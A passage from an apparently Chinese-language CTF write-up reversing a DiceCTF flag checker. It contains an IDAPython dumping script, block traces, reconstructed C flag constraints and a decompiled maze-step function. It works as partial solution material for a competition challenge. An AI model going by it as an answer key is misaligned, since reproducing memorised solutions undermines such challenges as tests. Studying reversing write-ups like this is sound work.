class="number">0x18</span>)</span><br><span class="line">        exec_type = idaapi.get_qword(current_address + <span class="number">0x20</span>)</span><br><span class="line">        value_type = idaapi.get_qword(current_address + <span class="number">0x28</span>)</span><br><span class="line">        value_or_ptr = idaapi.get_qword(current_address + <span class="number">0x30</span>)</span><br><span class="line">        var_length = idaapi.get_qword(current_address + <span class="number">0x38</span>)</span><br><span class="line">        <span class="comment"># router_name = idaapi.get_dword(current_address + 12)</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> cnt &gt; <span class="number">0x149d</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="comment"># if length == 0:</span></span><br><span class="line">        <span class="comment">#     break</span></span><br><span class="line">        struct = &#123;</span><br><span class="line">            <span class="string">&#x27;current_addr&#x27;</span>:current_address,</span><br><span class="line">            <span class="string">&#x27;line&#x27;</span>: line,</span><br><span class="line">            <span class="string">&#x27;argc&#x27;</span>: argc,</span><br><span class="line">            <span class="string">&#x27;slot_cnt&#x27;</span>:slot_cnt,</span><br><span class="line">            <span class="string">&#x27;exec_type&#x27;</span>:exec_type,</span><br><span class="line">            <span class="string">&#x27;value_type&#x27;</span>:value_type,</span><br><span class="line">            <span class="string">&#x27;value_or_ptr&#x27;</span>:value_or_ptr,</span><br><span class="line">            <span class="string">&#x27;var_length&#x27;</span>:var_length</span><br><span class="line">            <span class="comment"># &#x27;router_name&#x27;: router_name</span></span><br><span class="line">        &#125;</span><br><span class="line">        struct_array.append(struct)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 更新当前地址</span></span><br><span class="line">        current_address += <span class="number">0x40</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> struct_array</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_edge</span>(<span class="params">start_address</span>):</span><br><span class="line">    struct_array = []</span><br><span class="line">    current_address = start_address</span><br><span class="line">    cnt = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    next_edge = current_address</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        cnt += <span class="number">1</span></span><br><span class="line">        <span class="comment"># addr = current_address</span></span><br><span class="line">        current_address = next_edge</span><br><span class="line">        <span class="keyword">if</span> current_address == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        next_edge = idaapi.get_qword(current_address)</span><br><span class="line">        dst = idaapi.get_qword(current_address + <span class="number">8</span>)</span><br><span class="line">        src = idaapi.get_qword(current_address + <span class="number">0x10</span>)</span><br><span class="line">        <span class="comment">#router_name = idaapi.get_dword(current_address + 12)</span></span><br><span class="line">        <span class="comment"># if length == 0:</span></span><br><span class="line">        <span class="comment">#     break</span></span><br><span class="line">        struct = &#123;</span><br><span class="line">            <span class="string">&#x27;current_adddr&#x27;</span>: current_address,</span><br><span class="line">            <span class="string">&#x27;next_edge&#x27;</span>:next_edge,</span><br><span class="line">            <span class="string">&#x27;dst&#x27;</span>: dst,</span><br><span class="line">            <span class="string">&#x27;src&#x27;</span>: src,</span><br><span class="line">        &#125;</span><br><span class="line">        struct_array.append(struct)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># current_address += 0x20</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> struct_array</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dump_router</span>(<span class="params">insts,edges</span>):</span><br><span class="line"></span><br><span class="line">    lines_arg = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x149d</span>):</span><br><span class="line">        lines_arg.append([])</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> each_edge <span class="keyword">in</span> edges:</span><br><span class="line">        <span class="comment"># print(each_edge[&#x27;src&#x27;])</span></span><br><span class="line">        lines_arg[each_edge[<span class="string">&#x27;src&#x27;</span>]].insert(<span class="number">0</span>,each_edge[<span class="string">&#x27;dst&#x27;</span>])</span><br><span class="line"></span><br><span class="line">    output = <span class="string">&quot;&quot;</span></span><br><span class="line">    map_func = <span class="number">0x559c80cd3660</span></span><br><span class="line">    <span class="comment"># mappings</span></span><br><span class="line">    map_line = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x80</span>)] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x80</span>)]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> each_inst <span class="keyword">in</span> insts:</span><br><span class="line">        outputline = <span class="string">&quot;[0x%x]Block[0x%x]:\n&quot;</span>%(each_inst[<span class="string">&#x27;current_addr&#x27;</span>],each_inst[<span class="string">&#x27;line&#x27;</span>])</span><br><span class="line">        output += outputline</span><br><span class="line">        outputline = <span class="string">&quot;call_type:%x\n&quot;</span>%each_inst[<span class="string">&#x27;exec_type&#x27;</span>]</span><br><span class="line">        output += outputline</span><br><span class="line">        outputline = <span class="string">&quot;argc:%d\n&quot;</span>%each_inst[<span class="string">&#x27;argc&#x27;</span>]</span><br><span class="line">        output += outputline</span><br><span class="line">        idx = <span class="number">0</span></span><br><span class="line">        args = []</span><br><span class="line">        <span class="keyword">for</span> each_arg <span class="keyword">in</span> each_inst[<span class="string">&#x27;argv&#x27;</span>]:</span><br><span class="line">            outputline = <span class="string">&quot;&quot;</span></span><br><span class="line">            <span class="keyword">if</span> each_arg[<span class="string">&#x27;value_type&#x27;</span>] == <span class="number">2</span>:</span><br><span class="line">                outputline += <span class="string">&quot;argv[%d]:0x%x&quot;</span>%(idx, each_arg[<span class="string">&#x27;value_or_ptr&#x27;</span>])</span><br><span class="line">                args.append(each_arg[<span class="string">&#x27;value_or_ptr&#x27;</span>])</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                length = each_arg[<span class="string">&#x27;var_length&#x27;</span>]</span><br><span class="line">                value = idaapi.get_bytes(each_arg[<span class="string">&#x27;value_or_ptr&#x27;</span>], length)</span><br><span class="line">                <span class="keyword">if</span> length &gt; <span class="number">0x30</span>:</span><br><span class="line">                    value = func_map.get(value,value)</span><br><span class="line">                outputline += <span class="string">&quot;argv[%d]:%s&quot;</span>%(idx, value)</span><br><span class="line">                args.append(value)</span><br><span class="line"></span><br><span class="line">            <span class="comment"># print(&quot;now the line is &quot; + str(each_inst[&#x27;line&#x27;]))</span></span><br><span class="line">            outputline += <span class="string">&quot; -&gt;&quot;</span> + <span class="built_in">hex</span>(lines_arg[each_inst[<span class="string">&#x27;line&#x27;</span>]][idx])</span><br><span class="line">            idx += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">            outputline += <span class="string">&quot;\n&quot;</span></span><br><span class="line">            output += outputline</span><br><span class="line"></span><br><span class="line">        <span class="comment"># check and mapping</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(args) == <span class="number">5</span> <span class="keyword">and</span> args[<span class="number">0</span>] == map_func:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;emter&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> args[<span class="number">2</span>] == <span class="number">0xa</span> <span class="keyword">or</span> args[<span class="number">2</span>] == <span class="number">0xb</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;(0x%x,0x%x)&quot;</span>%(args[<span class="number">3</span>],args[<span class="number">4</span>]))</span><br><span class="line">                map_line[args[<span class="number">3</span>]][args[<span class="number">4</span>]] = -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&quot;block_maps.dump&quot;</span>,<span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">    <span class="keyword">for</span> eachline <span class="keyword">in</span> map_line:</span><br><span class="line">        fd.write(<span class="built_in">str</span>(eachline))</span><br><span class="line">        fd.write(<span class="string">&quot;,\n&quot;</span>)</span><br><span class="line">    fd.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&#x27;block_run.dump&#x27;</span>,<span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">    <span class="comment"># just check content type == 1</span></span><br><span class="line">    fd.write(output)</span><br><span class="line">    fd.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># blocks = parse_Block(0x561F80D6F2C0)</span></span><br><span class="line">    edge = parse_edge(<span class="number">0x0559C8057D080</span>)</span><br><span class="line">    start_address = <span class="number">0x7f4477c18010</span> </span><br><span class="line">    blocks = parse_route(start_address)</span><br><span class="line">    output = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> each_inst <span class="keyword">in</span> edge:</span><br><span class="line">        <span class="keyword">for</span> each_item <span class="keyword">in</span> each_inst:</span><br><span class="line">            outputline = <span class="string">&quot;%s:0x%x&quot;</span>%(each_item, each_inst[each_item]) </span><br><span class="line">            <span class="comment"># print(outputline,end=&#x27;,&#x27;)</span></span><br><span class="line">            output += outputline + <span class="string">&#x27;,&#x27;</span></span><br><span class="line">        output += <span class="string">&#x27;\n&#x27;</span></span><br><span class="line">        <span class="comment"># print(&quot;&quot;)</span></span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&#x27;edge.dump&#x27;</span>,<span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">    <span class="comment"># just check content type == 1</span></span><br><span class="line">    fd.write(output)</span><br><span class="line">    fd.close()</span><br><span class="line"></span><br><span class="line">    dump_router(blocks,edge)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># fd = open(&#x27;block.dump&#x27;,&#x27;w&#x27;)</span></span><br><span class="line">    <span class="comment"># # just check content type == 1</span></span><br><span class="line">    <span class="comment"># fd.write(output)</span></span><br><span class="line">    <span class="comment"># fd.close()</span></span><br><span class="line"></span><br><span class="line">main()</span><br></pre></td></tr></table></figure><p>其中的函数表为我们单独在IDA中分析得到的结果。之后就能得到一个处理后的Block数据关系，由于多达<strong>0x149d</strong>个block， 这里选取部分内容展示：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">[0x7f01023890a0]Block[0x402]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f01023890e8]Block[0x403]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f0102389130]Block[0x404]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:2</span><br><span class="line">argv[0]:get_index_from_input -&gt;0x1367</span><br><span class="line">argv[1]:0x1 -&gt;0x403</span><br><span class="line">[0x7f0102389178]Block[0x405]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:3</span><br><span class="line">argv[0]:xor_all_argv -&gt;0x1342</span><br><span class="line">argv[1]:0x69 -&gt;0x402</span><br><span class="line">argv[2]:0x31 -&gt;0x404</span><br><span class="line">[0x7f01023891c0]Block[0x406]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:2</span><br><span class="line">argv[0]:check_if_zero -&gt;0x1296</span><br><span class="line">argv[1]:0x58 -&gt;0x405</span><br></pre></td></tr></table></figure><h3 id="阶段二：flag有效性检查一">阶段二：flag有效性检查一</h3><p>在Blocks在逆向过程中，会发现存在大量的重复逻辑：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">[0x7f0102389208]Block[0x407]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f0102389250]Block[0x408]:</span><br><span class="line">call_type:3</span><br><span class="line">argc:0</span><br><span class="line">[0x7f0102389298]Block[0x409]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:2</span><br><span class="line">argv[0]:get_index_from_input -&gt;0x1367</span><br><span class="line">argv[1]:0x2 -&gt;0x408</span><br><span class="line">[0x7f01023892e0]Block[0x40a]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:3</span><br><span class="line">argv[0]:xor_all_argv -&gt;0x1342</span><br><span class="line">argv[1]:0x63 -&gt;0x407</span><br><span class="line">argv[2]:0x32 -&gt;0x409</span><br><span class="line">[0x7f0102389328]Block[0x40b]:</span><br><span class="line">call_type:4</span><br><span class="line">argc:2</span><br><span class="line">argv[0]:check_if_zero -&gt;0x1296</span><br><span class="line">argv[1]:0x51 -&gt;0x40a</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>例如上面这段<code>0x407~0x40b</code>和上面贴出来的<code>0x402~0x406</code>非常类似。并且我们可以观察到，<code>0x403</code>获取的值为1，<code>0x408</code>获得的值为2。总结一下特点：</p><ul><li>逻辑极为相似</li><li>存在固定值递增</li></ul><p>几乎可以断定，即便是从不同的Block取出来的值，这些值<strong>应该是循环中使用的同一个变量中的递增值</strong>。于是经过分析，可以得出如下的逻辑：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> length = <span class="built_in">strlen</span>(flag);</span><br><span class="line">    <span class="comment">// first check</span></span><br><span class="line">    <span class="keyword">if</span>(length != <span class="number">0x26</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// second check</span></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> j = <span class="number">0</span>; j &lt; length<span class="number">-1</span>; j++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">//?+j</span></span><br><span class="line">        <span class="keyword">if</span>((j+<span class="number">1</span>) ^ length == <span class="number">0</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            res = flag[j] * <span class="number">0x7</span> + res;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            res =  res ^ j ^ flag[j] ^ (flag[j] * <span class="number">0xe</span> + flag[j+<span class="number">1</span>]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span>(res ^ <span class="number">0x784</span> != <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以看到，这些检测并不能确认一个具体的值，而是【将数值限制在了某个范围内】。所以后面的程序逻辑极有可能都是【限制数值的取值】。后面的逻辑逆向如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// third check</span></span><br><span class="line"><span class="keyword">if</span>(input[<span class="number">0</span>] ^ <span class="number">0x64</span> !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// forth check</span></span><br><span class="line"><span class="keyword">if</span>(input[<span class="number">1</span>] ^ <span class="number">0x69</span> !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(input[<span class="number">2</span>] ^ <span class="number">0x63</span> !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(input[<span class="number">3</span>] ^ <span class="number">0x65</span> !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(input[<span class="number">4</span>] ^ <span class="number">0x7b</span> !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(input[<span class="number">0x25</span>] ^ <span class="number">0x7d</span> !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//fiith check</span></span><br><span class="line"><span class="type">int</span> res = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x20</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(j&amp;(<span class="number">1</span>))</span><br><span class="line">    &#123;</span><br><span class="line">        res = reorder_s2[i&amp;<span class="number">0xf</span>] * <span class="number">0xee</span> + res;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        res = reorder_s2[i&amp;<span class="number">0xf</span>] * <span class="number">0x1604b</span> + res;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="number">0x369e9f5</span> ^ res !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//sixth check</span></span><br><span class="line"><span class="type">int</span> res = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(j&amp;(<span class="number">1</span>))</span><br><span class="line">    &#123;</span><br><span class="line">        res = reorder_s1[i&amp;<span class="number">0xf</span>] * <span class="number">0xee</span> + res;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        res = reorder_s1[i&amp;<span class="number">0xf</span>] * <span class="number">0x1604b</span> + res;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="number">0x365c292</span> ^ res !=<span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// seventh check</span></span><br><span class="line"><span class="keyword">if</span>(!check_maps(flag))</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>根据前6个check，我么能够知道如下信息：</p><ul><li>flag长度为0x26</li><li>flag为<code>dice&#123;XXXXXXXXXXXXXX&#125;</code>的形式</li><li>从中间开始，flag被打乱排序进行检测</li></ul><p>然而如果我们仅用前六个逻辑，使用z3会计算出非常大量的答案，根本没办法确认哪个才是正确答案。在这六个逻辑后，还有最关键的第七个<code>maze_step</code>，也就是前面未提到的走迷宫函数。显然，需要配合迷宫才能完成最后的约束。</p><h3 id="阶段三：迷宫绕路">阶段三：迷宫绕路</h3><p>在进入迷宫前，会将flag中间的数值（总共32字节）取出，并且打乱后重组。在逆向这个迷宫函数的时候，发现迷宫函数本身有点怪异。与其他<strong>CallFunc</strong>不同，迷宫函数本身非常大，功能也很多:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">_QWORD *__fastcall <span class="title">maze_step</span><span class="params">(a)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *v56; <span class="comment">// rax</span></span><br><span class="line">  __int64 v57; <span class="comment">// r8</span></span><br><span class="line">  <span class="keyword">if</span> ( argv0 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( argv1 == <span class="number">12</span> )        <span class="comment">// 0xc -&gt; sepcial_high_low_number</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( *((_BYTE *)argv0 + <span class="number">8</span>) )</span><br><span class="line">        v57 = <span class="number">0LL</span>;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        v57 = (*argv0 &lt;&lt; <span class="number">16</span>) | argv0[<span class="number">1</span>];</span><br><span class="line">      <span class="built_in">memset</span>(a1, <span class="number">0</span>, <span class="number">0x188</span>uLL);</span><br><span class="line">      *a1 = <span class="number">1LL</span>;</span><br><span class="line">      *((_DWORD *)a1 + <span class="number">2</span>) = <span class="number">2</span>;</span><br><span class="line">      a1[<span class="number">2</span>] = v57;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( argv1 == <span class="number">10</span> || argv1 == <span class="number">11</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      *((_BYTE *)&amp;argv0[<span class="number">32</span> * argv2 + <span class="number">2</span>] + argv3 + <span class="number">1</span>) = <span class="number">-1</span>;    <span class="comment">//  10|11 -&gt; update_argv0</span></span><br><span class="line">      <span class="built_in">memset</span>(a1, <span class="number">0</span>, <span class="number">0x188</span>uLL);</span><br><span class="line">      *a1 = <span class="number">1LL</span>;</span><br><span class="line">      *((_DWORD *)a1 + <span class="number">2</span>) = <span class="number">2</span>;</span><br><span class="line">      a1[<span class="number">2</span>] = argv0;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !argv1 )                                            <span class="comment">// 0 -&gt; add_right_1_add_up_1</span></span><br><span class="line">      &#123;</span><br><span class="line">        ++*argv0;</span><br><span class="line">        ++argv0[<span class="number">1</span>];</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">1</span> )                                        <span class="comment">// 1 -&gt; add_right_1</span></span><br><span class="line">        ++argv0[<span class="number">1</span>];</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">2</span> )                                        <span class="comment">// 2 -&gt; add_right_1_sub_up_1</span></span><br><span class="line">      &#123;</span><br><span class="line">        --*argv0;</span><br><span class="line">        ++argv0[<span class="number">1</span>];</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">3</span> )                                        <span class="comment">// 3 -&gt; sub_up_1</span></span><br><span class="line">        --*argv0;</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">4</span> )                                        <span class="comment">// 4 -&gt; add_up_1</span></span><br><span class="line">        ++*argv0;</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">5</span> )                                        <span class="comment">// 5 -&gt; add_up_1_sub_right_1</span></span><br><span class="line">      &#123;</span><br><span class="line">        ++*argv0;</span><br><span class="line">        --argv0[<span class="number">1</span>];</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">6</span> )                                        <span class="comment">// 6 -&gt; sub_right_1</span></span><br><span class="line">        --argv0[<span class="number">1</span>];</span><br><span class="line">      <span class="keyword">if</span> ( argv1 == <span class="number">7</span> )                                        <span class="comment">// 7 -&gt; sub_right_1_sub_up_1</span></span><br><span class="line">      &#123;</span><br><span class="line">        --*argv0;</span><br><span class="line">        --argv0[<span class="number">1</span>];</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( argv0[<span class="number">0x80</span> * (<span class="type">unsigned</span> __int64)*argv0 + argv0[<span class="number">1</span>] + <span class="number">9</span> + <span class="number">1</span>] ) <span class="comment">// if(real_map[map[0]][map[1]])</span></span><br><span class="line">        *((_BYTE *)argv0 + <span class="number">8</span>) = <span class="number">1</span>;</span><br><span class="line">      <span class="built_in">memset</span>(a1, <span class="number">0</span>, <span class="number">0x188</span>uLL);</span><br><span class="line">      *a1 = <span class="number">1LL</span>;</span><br><span class="line">      *((_DWORD *)a1 + <span class="number">2</span>) = <span class="number">2</span>;</span><br><span class="line">      a1[<span class="number">2</span>] = argv0;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    v56 = (_DWORD *)<span class="built_in">a56_malloc</span>(<span class="number">16396LL</span>);</span><br><span class="line">    *v56 = <span class="number">64</span>;</span><br><span class="line">    v56[<span class="number">1</span>] = <span class="number">64</span>;</span><br><span class="line">    <span class="built_in">memset</span>(a1, <span class="number">0</span>, <span class="number">0x188</span>uLL);</span><br><span class="line">    *a1 = <span class="number">1LL</span>;</span><br><span class="line">    *((_DWORD *)a1 + <span class="number">2</span>) = <span class="number">2</span>;</span><br><span class="line">    a1[<span class="number">2</span>] = v56;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> a1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，当前函数中，既有创建地图的逻辑，又有初始化地图的逻辑，移动的逻辑，以及检查逻辑。</p><p>并且在此时，Block中出现了三个不同的数据表:</p><figure class="highlight 